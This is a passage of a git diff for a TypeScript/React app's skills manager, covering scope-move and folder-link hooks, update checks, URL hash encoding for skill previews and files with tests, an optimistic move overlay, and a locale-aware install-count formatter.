+import { SkillScopeMoveDialog } from '@/components/SkillScopeMoveDialog';
+
+/**
+ * Shared scope-move flow for a skill's level control. Picking a level stages a
+ * confirm dialog (moving a skill relocates its files on disk and re-installs it
+ * into your editors), and only commits on confirm. The toolbar drives this from
+ * two surfaces — a `Select` at comfortable widths and an overflow submenu when
+ * narrow — so keeping the move logic here means both share one implementation.
+ *
+ * Render `dialog` from a node that stays mounted independent of any menu's open
+ * state: a menu that unmounts its content on selection would otherwise take the
+ * dialog down with it before it can open.
+ */
+export function useSkillScopeMove({ scope, name }: { scope: SkillScope; name: string }): {
+ requestMove: (next: SkillScope) => void;
+ dialog: ReactNode;
+} {
+ // Staged target — the confirm dialog owns the actual move (shared with the
+ // three-dot menu via `SkillScopeMoveDialog`); this hook just stages the target.
+ const [pendingScope, setPendingScope] = useState<SkillScope | null>(null);
+ return {
+ requestMove: (next) => {
+ if (next !== scope) setPendingScope(next);
+ },
+ dialog: (
+ <SkillScopeMoveDialog
+ target={pendingScope ? { scope, name, toScope: pendingScope } : null}
+ onOpenChange={(open) => !open && setPendingScope(null)}
+ />
+ ),
+ };
+}
diff --git a/packages/app/src/hooks/use-skill-targets.ts b/packages/app/src/hooks/use-skill-targets.ts
index 1c46fc9db..48b27da09 100644
--- a/packages/app/src/hooks/use-skill-targets.ts
+++ b/packages/app/src/hooks/use-skill-targets.ts
@@ -1,25 +1,27 @@
import {
- type SkillTargetEditor,
+ type SkillScope,
type SkillTargetsGetSuccess,
SkillTargetsGetSuccessSchema,
} from '@inkeep/open-knowledge-core';
import { useEffect, useState } from 'react';
import { emitSkillsChanged } from '@/lib/documents-events';
import { parseApiError } from '@/lib/parse-api-error';
+import { putSkillFolderAction } from '@/lib/skills-api';
import type { AsyncState } from './use-folder-config';
export interface SkillTargetsHandle {
state: AsyncState<SkillTargetsGetSuccess>;
- /**
- * Persist a new target set via `PUT /api/skill-targets`. Re-projects every
- * managed skill server-side; on success the local target snapshot refreshes
- * and `skills-changed` fires so the skills list re-fetches its install hosts.
- * Rejects with a message on failure so the caller can surface it + roll back
- * optimistic UI.
- */
- save: (targets: SkillTargetEditor[]) => Promise<void>;
- /** True while a `save` PUT is in flight. */
+ /** True while a folder-verb PUT is in flight. */
saving: boolean;
+ /** Folder-level verb: LINK a host's skills folder into a root (merge-then-
+ * swap; conflicts reject with a message) or UNLINK it back into per-skill
+ * symlinks. Refreshes the snapshot + skills list on success. */
+ folderAction: (action: {
+ scope: SkillScope;
+ root: string;
+ action: 'link' | 'unlink' | 'add-root';
+ target?: string;
+ }) => Promise<void>;
}
/**
@@ -73,29 +75,24 @@ export function useSkillTargets(): SkillTargetsHandle {
};
}, [refreshKey]);
- const save = async (targets: SkillTargetEditor[]): Promise<void> => {
+ const folderAction = async (action: {
+ scope: SkillScope;
+ root: string;
+ action: 'link' | 'unlink' | 'add-root';
+ target?: string;
+ }): Promise<void> => {
setSaving(true);
- // No try/catch: the React Compiler can't lower a try without a catch, nor a
- // throw inside try/catch. So tolerate fetch rejection with `.catch`, reset
- // `saving` explicitly on each exit, and throw at function scope (which the
- // compiler handles) for the caller to surface.
- const res = await fetch('/api/skill-targets', {
- method: 'PUT',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ targets }),
- }).catch(() => null);
- if (!res?.ok) {
+ // One client for this endpoint. Two independently-written ones had drifted
+ // into reporting different fields of the same error body.
+ const result = await putSkillFolderAction(action);
+ if (!result.ok) {
setSaving(false);
- const body = res ? ((await res.json().catch(() => null)) as unknown) : null;
- throw new Error(parseApiError(body) ?? (res ? `HTTP ${res.status}` : 'Request failed'));
+ throw new Error(result.error);
}
- // Re-projection changed which hosts every managed skill lives in: fan the
- // list re-fetch out, and refresh this snapshot so `configured` flips to true
- // and the checkboxes reflect the committed set.
emitSkillsChanged();
setRefreshKey((k) => k + 1);
setSaving(false);
};
- return { state, save, saving };
+ return { state, saving, folderAction };
}
diff --git a/packages/app/src/hooks/use-skill-update-available.ts b/packages/app/src/hooks/use-skill-update-available.ts
new file mode 100644
index 000000000..78fcf4895
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-update-available.ts
@@ -0,0 +1,46 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { useEffect, useState } from 'react';
+import { reimportSkill } from '@/lib/skills-api';
+
+/**
+ * Whether an imported skill's upstream source has a NEWER version than what's
+ * installed — resolved by a dry-run re-import (fetch upstream + compare, no write).
+ * Drives showing the "Update" action only when there's actually something to
+ * update (rather than a permanent check-for-updates button).
+ *
+ * Runs when `enabled` (a reimportable skill) and re-runs on `name` change or when
+ * `recheck()` is called (e.g. right after applying an update, so the button hides
+ * again). Reusable by any skill surface that wants an "update available" signal.
+ */
+export function useSkillUpdateAvailable(
+ scope: SkillScope,
+ name: string,
+ enabled: boolean,
+): { available: boolean; gitTracked: boolean; recheck: () => void } {
+ const [available, setAvailable] = useState(false);
+ const [gitTracked, setGitTracked] = useState(false);
+ // `recheck()` bumps this to re-run the effect (e.g. right after applying an
+ // update, so the button re-evaluates and hides), so it MUST stay in the deps.
+ const [nonce, setNonce] = useState(0);
+
+ // biome-ignore lint/correctness/useExhaustiveDependencies: re-run trigger is the only purpose of nonce
+ useEffect(() => {
+ if (!enabled) {
+ setAvailable(false);
+ return;
+ }
+ let cancelled = false;
+ void reimportSkill({ scope, name, dryRun: true }).then((result) => {
+ // A failed check (unreachable/non-fetchable source) reads as "no update" —
+ // never surface an Update button we can't honor.
+ if (cancelled) return;
+ setAvailable(result.ok && result.updated === true);
+ setGitTracked(result.ok && result.gitTracked === true);
+ });
+ return () => {
+ cancelled = true;
+ };
+ }, [scope, name, enabled, nonce]);
+
+ return { available, gitTracked, recheck: () => setNonce((n) => n + 1) };
+}
diff --git a/packages/app/src/hooks/use-skills.ts b/packages/app/src/hooks/use-skills.ts
index 27dbfd2a6..9ef6e05cb 100644
--- a/packages/app/src/hooks/use-skills.ts
+++ b/packages/app/src/hooks/use-skills.ts
@@ -1,6 +1,10 @@
import { type SkillsListEntry, SkillsListSuccessSchema } from '@inkeep/open-knowledge-core';
import { useEffect, useState } from 'react';
-import { subscribeToDocumentsChanged, subscribeToSkillsChanged } from '@/lib/documents-events';
+import {
+ applyOptimisticSkillMoves,
+ subscribeToDocumentsChanged,
+ subscribeToSkillsChanged,
+} from '@/lib/documents-events';
import { parseApiError } from '@/lib/parse-api-error';
import type { AsyncState } from './use-folder-config';
@@ -14,24 +18,56 @@ import type { AsyncState } from './use-folder-config';
* browser vs. the desktop app — lands here live), so the list stays current
* across windows without a reload. Backs the Settings Skills manager + sidebar.
*/
+/** Last successful `/api/skills` payload, shared across hook instances so a
+ * surface mounting LATER (e.g. the editor toolbar pill on first skill open)
+ * renders the known list instantly instead of guessing while it re-fetches. */
+let lastKnownSkills: readonly SkillsListEntry[] | null = null;
+
+/** One in-flight `/api/skills` request shared across every hook instance — a
+ * mutation fires `skills-changed` + the CC1 `files` signal into N mounted
+ * instances at once; without sharing, each ran its own full server scan. */
+let inFlightSkills: Promise<unknown> | null = null;
+function fetchSkillsShared(): Promise<unknown> {
+ inFlightSkills ??= fetch('/api/skills')
+ .then(async (r) => {
+ if (!r.ok) {
+ const body = (await r.json().catch(() => null)) as unknown;
+ throw new Error(parseApiError(body) ?? `HTTP ${r.status}`);
+ }
+ return r.json() as Promise<unknown>;
+ })
+ .finally(() => {
+ inFlightSkills = null;
+ });
+ return inFlightSkills;
+}
+
export function useSkills(options?: { enabled?: boolean }): AsyncState<readonly SkillsListEntry[]> {
// `enabled: false` keeps the hook mounted (and subscribed) but skips the
// `/api/skills` fetch — for consumers that only need the list under a
// condition (e.g. the tab reconciler, which has nothing to do until a skill
// tab is actually open). Avoids a redundant fetch and unrelated side effects.
const enabled = options?.enabled ?? true;
- const [state, setState] = useState<AsyncState<readonly SkillsListEntry[]>>({ status: 'idle' });
+ const [state, setState] = useState<AsyncState<readonly SkillsListEntry[]>>(() =>
+ lastKnownSkills !== null ? { status: 'ready', data: lastKnownSkills } : { status: 'idle' },
+ );
const [refreshKey, setRefreshKey] = useState(0);
useEffect(() => {
- const bump = () => setRefreshKey((k) => k + 1);
- // Local fan-out (this window made the change) + cross-client CC1 `files`
- // (another client did) — every skill mutation signals `files` server-side.
+ // Trailing debounce: one mutation fires BOTH the local skills-changed event
+ // and the CC1 `files` signal (plus watcher echoes of the disk writes) —
+ // coalesce the burst into a single refetch instead of several back-to-back.
+ let timer: ReturnType<typeof setTimeout> | null = null;
+ const bump = () => {
+ if (timer) clearTimeout(timer);
+ timer = setTimeout(() => setRefreshKey((k) => k + 1), 200);
+ };
const unsubLocal = subscribeToSkillsChanged(bump);
const unsubRemote = subscribeToDocumentsChanged((channels) => {
if (channels.includes('files')) bump();
});
return () => {
+ if (timer) clearTimeout(timer);
unsubLocal();
unsubRemote();
};
@@ -50,14 +86,7 @@ export function useSkills(options?: { enabled?: boolean }): AsyncState<readonly
// and flash empty->full on every create/edit/install/move — the visible
// dock flicker. Keep a prior `ready` list on screen while revalidating.
setState((prev) => (prev.status === 'ready' ? prev : { status: 'loading' }));
- fetch('/api/skills')
- .then(async (r) => {
- if (!r.ok) {
- const body = (await r.json().catch(() => null)) as unknown;
- throw new Error(parseApiError(body) ?? `HTTP ${r.status}`);
- }
- return r.json() as Promise<unknown>;
- })
+ fetchSkillsShared()
.then((payload) => {
if (cancelled) return;
// Full Zod parse (same drift-loud contract as `useAllTemplates`).
@@ -76,6 +105,7 @@ export function useSkills(options?: { enabled?: boolean }): AsyncState<readonly
setState({ status: 'error', message: 'Server returned an incomplete skills response.' });
return;
}
+ lastKnownSkills = parsed.data.skills;
setState({ status: 'ready', data: parsed.data.skills });
})
.catch((err: unknown) => {
@@ -87,5 +117,9 @@ export function useSkills(options?: { enabled?: boolean }): AsyncState<readonly
};
}, [refreshKey, enabled]);
- return state;
+ // Overlay pending optimistic scope-moves so a moved skill leaves its source
+ // group immediately, without waiting for the (possibly slow) move to finish.
+ return state.status === 'ready'
+ ? { status: 'ready', data: applyOptimisticSkillMoves(state.data) }
+ : state;
}
diff --git a/packages/app/src/lib/command-menu-parity.test.ts b/packages/app/src/lib/command-menu-parity.test.ts
index 25ad90e29..c803c6bf8 100644
--- a/packages/app/src/lib/command-menu-parity.test.ts
+++ b/packages/app/src/lib/command-menu-parity.test.ts
@@ -107,7 +107,7 @@ const PALETTE_COMMAND_LABELS = new Set<string>([
'Show hidden files',
'Show .ok folders',
'Show only markdown files',
- 'Show skills section',
+ 'Skills section',
'Expand all',
'Collapse all',
'New Terminal',
@@ -532,6 +532,8 @@ describe('command identity registry (Phase 2b)', () => {
'open-folder',
'open-file',
'switch-project',
+ 'open-skills',
+ 'new-skill',
'settings',
'install-claude-desktop',
'report-bug',
diff --git a/packages/app/src/lib/desktop-bridge-types.ts b/packages/app/src/lib/desktop-bridge-types.ts
index 186f2fc00..a8d3fed16 100644
--- a/packages/app/src/lib/desktop-bridge-types.ts
+++ b/packages/app/src/lib/desktop-bridge-types.ts
@@ -65,7 +65,7 @@ export interface OkScaffoldPlan {
/** The pack's project-local skill, when it ships one. `pending` = the skill
* source is absent from `.ok/skills/` and apply would (re)author it, so the
* pack isn't fully set up even if its folders/templates exist. */
- packSkill?: { name: string; pending: boolean };
+ packSkills?: { name: string; pending: boolean }[];
}
interface OkScaffoldApplyError {
path: string;
@@ -281,6 +281,7 @@ interface ProjectSessionState {
pinnedTabIds: string[];
activeDocName: string | null;
activeTabId: string | null;
+ activeTabByMode: { files: string | null; skills: string | null };
updatedAt: string | null;
}
diff --git a/packages/app/src/lib/doc-hash.test.ts b/packages/app/src/lib/doc-hash.test.ts
index a07bebdd0..b3c3a5079 100644
--- a/packages/app/src/lib/doc-hash.test.ts
+++ b/packages/app/src/lib/doc-hash.test.ts
@@ -4,17 +4,22 @@ import {
assetPathFromHash,
docNameFromHash,
encodeShareTargetForHash,
+ encodeSkillPreviewSegments,
hashFromAssetPath,
hashFromDocName,
hashFromFolderPath,
hashFromSkillFile,
+ hashFromSkillPreview,
isContentRootHash,
isManagedHashHistoryState,
markCurrentHashHistoryEntry,
pushHashWithoutNavigation,
replaceHashWithoutNavigation,
type SkillFileHashTarget,
+ type SkillPreviewHashTarget,
+ selectedPathForSkillPreview,
skillFileFromHash,
+ skillPreviewFromHash,
} from './doc-hash';
import { skillLiveDocName, templateDocName } from './managed-artifact-doc-name';
@@ -394,6 +399,27 @@ describe('skill-file hash', () => {
expect(skillFileFromHash(hashFromSkillFile(target))).toEqual(target);
});
+ test('round-trips the host that separates two same-named skills', () => {
+ const target = {
+ scope: 'project',
+ name: 'review',
+ path: 'references/guide.md',
+ host: 'codex',
+ } satisfies SkillFileHashTarget;
+ const hash = hashFromSkillFile(target);
+ expect(skillFileFromHash(hash)).toEqual(target);
+ // Distinct from the same file in the same-named skill next door.
+ expect(hash).not.toBe(hashFromSkillFile({ ...target, host: 'claude' }));
+ });
+
+ test('a hash written before hosts existed still parses (by-name default)', () => {
+ expect(skillFileFromHash('#/__skill-file__/global/trip-log/references/guide.md')).toEqual({
+ scope: 'global',
+ name: 'trip-log',
+ path: 'references/guide.md',
+ });
+ });
+
test('a skill-file hash is not read as a docName or asset path', () => {
const hash = hashFromSkillFile({ scope: 'global', name: 'x', path: 'scripts/run.sh' });
expect(docNameFromHash(hash)).toBeNull();
@@ -414,3 +440,122 @@ describe('skill-file hash', () => {
expect(skillFileFromHash('#/__skill-file__/personal/trip-log/references/x.md')).toBeNull();
});
});
+
+describe('skill-preview hash', () => {
+ test('preserves a file selection only for the same preview identity', () => {
+ const alpha = {
+ flavor: 'explore',
+ source: 'owner/a',
+ name: 'alpha',
+ subtitle: 'owner/a',
+ path: 'references/details.md',
+ } satisfies SkillPreviewHashTarget;
+ const beta = {
+ flavor: 'explore',
+ source: 'owner/b',
+ name: 'beta',
+ subtitle: 'owner/b',
+ } satisfies SkillPreviewHashTarget;
+
+ expect(selectedPathForSkillPreview(hashFromSkillPreview(alpha), alpha)).toBe(
+ 'references/details.md',
+ );
+ expect(selectedPathForSkillPreview(hashFromSkillPreview(alpha), beta)).toBeUndefined();
+ });
+
+ test('round-trips explore + detected targets, defaulting an absent level', () => {
+ // A level-less target comes back AT the default rather than level-less: the
+ // identity carries exactly one spelling, so two callers who disagree about
+ // passing a level cannot open two tabs for one preview.
+ const cases: SkillPreviewHashTarget[] = [
+ { flavor: 'explore', source: 'owner/repo', name: 'ai-sdk', subtitle: 'owner/repo' },
+ { flavor: 'detected', source: '/Users/me/.ok/skills/1on1', name: '1on1', subtitle: 'claude' },
+ ];
+ for (const target of cases) {
+ expect(skillPreviewFromHash(hashFromSkillPreview(target))).toEqual({
+ ...target,
+ level: 'project',
+ });
+ }
+ // An EXPLICIT level survives untouched.
+ const global = {
+ flavor: 'explore',
+ source: 'owner/repo',
+ name: 'ai-sdk',
+ subtitle: 'owner/repo',
+ level: 'global',
+ } satisfies SkillPreviewHashTarget;
+ expect(skillPreviewFromHash(hashFromSkillPreview(global))).toEqual(global);
+ });
+
+ test('a level-less and a project-level target share ONE identity', () => {
+ // The duplicate-tab bug: same skill, same source, two tab ids.
+ const withoutLevel = {
+ flavor: 'explore',
+ source: 'open.feishu.cn',
+ name: 'lark-doc',
+ subtitle: 'open.feishu.cn',
+ } satisfies SkillPreviewHashTarget;
+ const withLevel = { ...withoutLevel, level: 'project' } satisfies SkillPreviewHashTarget;
+ expect(encodeSkillPreviewSegments(withoutLevel)).toBe(encodeSkillPreviewSegments(withLevel));
+ });
+
+ test('round-trips a selected-file path (with and without a level)', () => {
+ const cases: SkillPreviewHashTarget[] = [
+ // path, no level → the level defaults, so path stays the 6th segment.
+ {
+ flavor: 'detected',
+ source: '/x/1on1',
+ name: '1on1',
+ subtitle: 'claude',
+ path: 'references/notes.md',
+ },
+ // path + level.
+ {
+ flavor: 'detected',
+ source: '/x/1on1',
+ name: '1on1',
+ subtitle: 'claude',
+ level: 'global',
+ path: 'references/sub/deep.md',
+ },
+ // a scripts path.
+ { flavor: 'explore', source: 'o/r', name: 'x', subtitle: 'o/r', path: 'scripts/run.sh' },
+ ];
+ for (const target of cases) {
+ expect(skillPreviewFromHash(hashFromSkillPreview(target))).toEqual({
+ level: 'project',
+ ...target,
+ });
+ }
+ });
+
+ test('path is NOT part of the tab-identity encoding (one tab, body switches)', () => {
+ // encodeSkillPreviewSegments drives the persisted tab id; adding a path must
+ // NOT change it, or every file click would spawn a separate preview tab.
+ const base: SkillPreviewHashTarget = {
+ flavor: 'detected',
+ source: '/x/1on1',
+ name: '1on1',
+ subtitle: 'claude',
+ level: 'global',
+ };
+ expect(encodeSkillPreviewSegments({ ...base, path: 'references/notes.md' })).toBe(
+ encodeSkillPreviewSegments(base),
+ );
+ });
+
+ test('rejects an unknown flavor', () => {
+ expect(skillPreviewFromHash('#/__skill-preview__/bogus/owner%2Frepo/x/y')).toBeNull();
+ });
+
+ test('docNameFromHash ignores the skill-preview route', () => {
+ const hash = hashFromSkillPreview({
+ flavor: 'explore',
+ source: 'o/r',
+ name: 'x',
+ subtitle: 'o/r',
+ });
+ expect(docNameFromHash(hash)).toBeNull();
+ });
+});
diff --git a/packages/app/src/lib/doc-hash.ts b/packages/app/src/lib/doc-hash.ts
index d0bceea55..27f384e60 100644
--- a/packages/app/src/lib/doc-hash.ts
+++ b/packages/app/src/lib/doc-hash.ts
@@ -16,6 +16,11 @@ export function docNameFromHash(hash: string): string | null {
// Skill bundle files (`#/__skill-file__/…`) are a viewer route, not a doc —
// they resolve via `skillFileFromHash`, so don't mis-read them as a docName.
if (hash.startsWith(SKILL_FILE_HASH_PREFIX)) return null;
+ // The Skills hub (`#/__skills__`) is a full-pane destination, not a doc.
+ if (hash.startsWith(SKILLS_HASH_PREFIX)) return null;
+ // A pre-install skill preview (`#/__skill-preview__/…`) is a full-pane viewer
+ // keyed by import coordinates, not a doc — it resolves via `skillPreviewFromHash`.
+ if (hash.startsWith(SKILL_PREVIEW_HASH_PREFIX)) return null;
// Skill (`#/__skill__/…`) and template (`#/__template__/…`) hashes ARE
// documents — they open as ordinary editor tabs, so they resolve to their
// synthetic doc name here like any other `#/<docName>` hash (per-segment
@@ -189,6 +194,132 @@ export function hashFromAssetPath(assetPath: string): string {
const SKILL_FILE_HASH_PREFIX = '#/__skill-file__/';
+// The Skills destination hub is a singleton full-pane route; its hash carries no
+// coordinates. Opened via `#/__skills__`.
+const SKILLS_HASH_PREFIX = '#/__skills__';
+export function hashFromSkills(): string {
+ return SKILLS_HASH_PREFIX;
+}
+export function skillsFromHash(hash: string): boolean {
+ return hash === SKILLS_HASH_PREFIX || hash.startsWith(`${SKILLS_HASH_PREFIX}/`);
+}
+
+/**
+ * A pre-install skill preview is a full-pane read-only view of an un-imported
+ * skill, opened before it exists as a project doc — so its hash carries the
+ * import coordinates the preview + Manage need rather than a doc name. `flavor`
+ * selects the acquire path (`explore` = skills.sh `owner/repo`; `detected` = a
+ * skill found in another tool, managed by name + harness). Each coordinate is
+ * one percent-encoded segment (source/subtitle may themselves contain `/`).
+ */
+const SKILL_PREVIEW_HASH_PREFIX = '#/__skill-preview__/';
+/** The skill-preview surfaces, single-sourced. Add a flavor here and every
+ * hash/tab-id validator + target type picks it up. */
+const SKILL_PREVIEW_FLAVORS = ['explore', 'detected', 'builtin'] as const;
+export type SkillPreviewFlavor = (typeof SKILL_PREVIEW_FLAVORS)[number];
+/** Type-guard for an untrusted flavor (from a `window.location` hash or a
+ * persisted, hand-editable tab id). */
+function isSkillPreviewFlavor(v: string | undefined): v is SkillPreviewFlavor {
+ return v !== undefined && (SKILL_PREVIEW_FLAVORS as readonly string[]).includes(v);
+}
+export interface SkillPreviewHashTarget {
+ flavor: SkillPreviewFlavor;
+ source: string;
+ name: string;
+ /** Repo (explore) or harness home (detected); doubles as the detected skill's source harness. */
+ subtitle: string;
+ /** The scope the skill sits at (detected: its provenance level). Read-only display. */
+ level?: SkillScope;
+ /** The selected bundle file within the preview (`SKILL.md` / `references/x.md`);
+ * absent = SKILL.md. Drives the FILES-list selection + deep-link, so a sidebar
+ * click and the preview's own FILES list share one selection. NOT part of the
+ * tab IDENTITY ({@link encodeSkillPreviewSegments} omits it) — one preview tab
+ * switches its body across files instead of spawning a tab per file. */
+ path?: string;
+}
+
+/**
+ * The level a preview sits at when a caller names none. Matches what
+ * `SkillPreviewTab` itself falls back to, so normalizing an absent level here
+ * changes no behavior — it only removes the second spelling of one identity.
+ */
+const DEFAULT_PREVIEW_LEVEL: SkillScope = 'project';
+
+/** Encode a skill-preview target's IDENTITY segments — shared by the location
+ * hash ({@link hashFromSkillPreview}) and the persisted tab id
+ * (`skillPreviewTabId`), which differ only in their prefix. Deliberately omits
+ * `path`: the tab identity is path-independent so one preview tab is reused as
+ * the selection changes. The hash appends `path` separately (see
+ * {@link hashFromSkillPreview}).
+ *
+ * `level` is ALWAYS encoded, defaulted rather than dropped. It is optional on
+ * the target, and while it was optional here too the same preview had two
+ * spellings — a caller that passed the level and one that did not produced
+ * different tab ids for the same skill, so the same source+name opened a
+ * SECOND tab with an identical label, and closing one left its twin behind. */
+export function encodeSkillPreviewSegments(target: SkillPreviewHashTarget): string {
+ return [
+ target.flavor,
+ target.source,
+ target.name,
+ target.subtitle,
+ target.level ?? DEFAULT_PREVIEW_LEVEL,
+ ]
+ .map(encodeURIComponent)
+ .join('/');
+}
+
+/** Decode skill-preview coordinate segments from an untrusted, hand-editable
+ * string (a `window.location` hash or a persisted tab id); null when malformed
+ * or the flavor / required coordinates don't validate. A 6th segment is the
+ * selected-file `path` (hash only; tab ids never carry it). */
+export function decodeSkillPreviewSegments(body: string): SkillPreviewHashTarget | null {
+ if (!body) return null;
+ let segments: string[];
+ try {
+ segments = body.split('/').map(decodeURIComponent);
+ } catch {
+ return null;
+ }
+ if (segments.length < 4 || segments.length > 6) return null;
+ const [flavor, source, name, subtitle, level, path] = segments;
+ if (!isSkillPreviewFlavor(flavor)) return null;
+ if (!source || !name) return null;
+ return {
+ flavor,
+ source,
+ name,
+ subtitle: subtitle ?? '',
+ ...(level && isSkillScope(level) ? { level } : {}),
+ ...(path ? { path } : {}),
+ };
+}
+
+export function hashFromSkillPreview(target: SkillPreviewHashTarget): string {
+ let body = encodeSkillPreviewSegments(target);
+ // The identity is always 5 segments now (level defaulted, never dropped), so
+ // `path` is unambiguously the 6th with no padding.
+ if (target.path) body += `/${encodeURIComponent(target.path)}`;
+ return `${SKILL_PREVIEW_HASH_PREFIX}${body}`;
+}
+
+export function skillPreviewFromHash(hash: string): SkillPreviewHashTarget | null {
+ if (!hash.startsWith(SKILL_PREVIEW_HASH_PREFIX)) return null;
+ return decodeSkillPreviewSegments(hash.slice(SKILL_PREVIEW_HASH_PREFIX.length));
+}
+
+/** Preserve a preview's hash-only file selection only for that same tab identity. */
+export function selectedPathForSkillPreview(
+ hash: string,
+ target: SkillPreviewHashTarget,
+): string | undefined {
+ const hashTarget = skillPreviewFromHash(hash);
+ if (!hashTarget) return undefined;
+ return encodeSkillPreviewSegments(hashTarget) === encodeSkillPreviewSegments(target)
+ ? hashTarget.path
+ : undefined;
+}
+
/**
* A skill bundle file (`references/**` / `scripts/**`) is neither a content doc
* nor a content-dir asset — for a GLOBAL skill it lives under `~/.ok/skills/`,
@@ -202,10 +333,23 @@ export interface SkillFileHashTarget {
scope: SkillScope;
name: string;
path: string;
+ /**
+ * Which same-named bundle this file belongs to. Several distinct-content
+ * skills can share a name across host dirs, so without it a reopened tab
+ * refetches whichever bundle a bare name lookup lands on — the wrong bytes.
+ * Omitted (and on any hash written before this existed) = the by-name default.
+ */
+ host?: string;
}
+/** `:` can't appear in a skill name (`^[a-z0-9-]+$`), so it can't be mistaken
+ * for one — which is what makes host-less legacy hashes still parse. */
+const SKILL_FILE_HOST_SEP = ':';
+
export function hashFromSkillFile(target: SkillFileHashTarget): string {
- const head = [target.scope, target.name].map(encodeURIComponent).join('/');
+ const named =
+ target.host === undefined ? target.name : `${target.name}${SKILL_FILE_HOST_SEP}${target.host}`;
+ const head = [target.scope, named].map(encodeURIComponent).join('/');
const tail = target.path.split('/').map(encodeURIComponent).join('/');
return `${SKILL_FILE_HASH_PREFIX}${head}/${tail}`;
}
@@ -222,10 +366,14 @@ export function skillFileFromHash(hash: string): SkillFileHashTarget | null {
}
// scope + name + at least one path segment.
if (segments.length < 3) return null;
- const [scope, name, ...rest] = segments;
+ const [scope, named, ...rest] = segments;
const path = rest.join('/');
// The hash is from `window.location` — untrusted/editable — so validate the
// scope against the known set rather than letting any string through.
- if (!scope || !name || !path || !isSkillScope(scope)) return null;
- return { scope, name, path };
+ if (!scope || !named || !path || !isSkillScope(scope)) return null;
+ const sep = named.indexOf(SKILL_FILE_HOST_SEP);
+ const name = sep === -1 ? named : named.slice(0, sep);
+ const host = sep === -1 ? undefined : named.slice(sep + 1);
+ if (!name) return null;
+ return { scope, name, path, ...(host ? { host } : {}) };
}
diff --git a/packages/app/src/lib/documents-events.ts b/packages/app/src/lib/documents-events.ts
index 7e48a2b87..6cca5ece8 100644
--- a/packages/app/src/lib/documents-events.ts
+++ b/packages/app/src/lib/documents-events.ts
@@ -1,3 +1,4 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
import { DerivedViewChannelSchema } from '@inkeep/open-knowledge-core';
import type { DerivedViewChannel } from '@/lib/cc1';
@@ -136,3 +137,30 @@ export function subscribeToSkillsChanged(onChange: () => void): () => void {
window.addEventListener(SKILLS_CHANGED_EVENT, listener);
return () => window.removeEventListener(SKILLS_CHANGED_EVENT, listener);
}
+
+// Optimistic cross-scope-move overlay. A scope-move copies the whole bundle to
+// the destination and deletes the source LAST, so the source row lingers in the
+// dock through the (potentially slow) copy. A mover hides the source row the
+// instant it's clicked and clears the hint once the move settles — on success
+// the delete has already removed it; on failure the row must come back.
+// `useSkills` filters hidden keys out of its list, so every consumer (dock,
+// sidebar, Settings) reflects the pending move uniformly.
+const hiddenMovingSkills = new Set<string>();
+const movingSkillKey = (scope: SkillScope, name: string) => `${scope}\u0000${name}`;
+
+export function beginOptimisticSkillMove(fromScope: SkillScope, name: string): void {
+ hiddenMovingSkills.add(movingSkillKey(fromScope, name));
+ emitSkillsChanged();
+}
+
+export function endOptimisticSkillMove(fromScope: SkillScope, name: string): void {
+ if (hiddenMovingSkills.delete(movingSkillKey(fromScope, name))) emitSkillsChanged();
+}
+
+/** Drop rows a scope-move is optimistically relocating away from their source. */
+export function applyOptimisticSkillMoves<T extends { scope: SkillScope; name: string }>(
+ skills: readonly T[],
+): readonly T[] {
+ if (hiddenMovingSkills.size === 0) return skills;
+ return skills.filter((s) => !hiddenMovingSkills.has(movingSkillKey(s.scope, s.name)));
+}
diff --git a/packages/app/src/lib/format-installs.test.ts b/packages/app/src/lib/format-installs.test.ts
new file mode 100644
index 000000000..96dc27cc4
--- /dev/null
+++ b/packages/app/src/lib/format-installs.test.ts
@@ -0,0 +1,56 @@
+import { describe, expect, test } from 'vitest';
+import { formatInstalls } from './format-installs';
+
+describe('formatInstalls', () => {
+ test.each([
+ [0, '0'],
+ [7, '7'],
+ [999, '999'],
+ [1000, '1K'],
+ [1200, '1.2K'],
+ [9949, '9.9K'],
+ [10_000, '10K'],
+ // One decimal below ten of a unit, none above — so a six-figure count stays
+ // three digits wide rather than reading `589.4K`.
+ [589_400, '589K'],
+ [718_007, '718K'],
+ [999_500, '1M'],
+ [1_000_000, '1M'],
+ [2_732_691, '2.7M'],
+ [27_000_000, '27M'],
+ ])('%i renders as %s', (input, expected) => {
+ expect(formatInstalls(input, 'en-US')).toBe(expected);
+ });
+
+ // The regression this replaced scaled by a fixed 1000 divisor, so a count in
+ // the millions read "2733k". Compact notation promotes the unit instead — no
+ // count renders more than three digits ahead of its suffix.
+ test('promotes past thousands instead of overflowing the unit', () => {
+ expect(formatInstalls(2_732_691, 'en-US')).not.toContain('K');
+ expect(formatInstalls(27_000_000, 'en-US')).toBe('27M');
+ });
+
+ // Locale-correctness is the reason for delegating to Intl rather than
+ // hand-scaling: the unit name, its abbreviation, and the decimal separator all
+ // differ, and every user-facing string in this app is localized.
+ // Asserted by shape rather than exact bytes: CLDR joins the unit with a
+ // non-breaking space, and both the spelling and the scale it picks can shift
+ // between ICU versions. What must hold is that the unit and the decimal
+ // separator are the locale's, not en-US's.
+ test('honors the active locale', () => {
+ const de = formatInstalls(2_732_691, 'de-DE');
+ expect(de).toContain('2,7');
+ expect(de).toContain('Mio.');
+ // ja-JP counts in 万 (ten-thousands), not thousands/millions.
+ expect(formatInstalls(2_732_691, 'ja-JP')).toContain('万');
+ });
+
+ // The two locale values a row can actually be handed: '' before the Lingui
+ // catalog activates (`new Intl.NumberFormat('')` throws RangeError, which would
+ // take out the card), and 'pseudo', this app's second catalog — a well-formed
+ // language subtag ICU resolves by fallback rather than rejecting.
+ test.each([[''], ['pseudo']])('formats rather than throwing on locale %o', (locale) => {
+ expect(() => formatInstalls(2_732_691, locale)).not.toThrow();
+ expect(formatInstalls(2_732_691, locale)).not.toBe('');
+ });
+});
diff --git a/packages/app/src/lib/format-installs.ts b/packages/app/src/lib/format-installs.ts
new file mode 100644
index 000000000..79be4f5db
--- /dev/null
+++ b/packages/app/src/lib/format-installs.ts
@@ -0,0 +1,26 @@
+/**
+ * Compact install count for skills.sh directory rows — `842`, `1.2K`, `718K`,
+ * `2.7M`. A thin call into the platform's CLDR compact notation, so the unit, its
+ * abbreviation, and the decimal separator are all correct per locale (`2,7 Mio.`
+ * in de-DE, `273.3万` in ja-JP) and no count overflows its own unit the way a
+ * fixed thousands divisor does.
+ *
+ * `locale` comes from `useLingui().i18n.locale` at the call site, matching how the
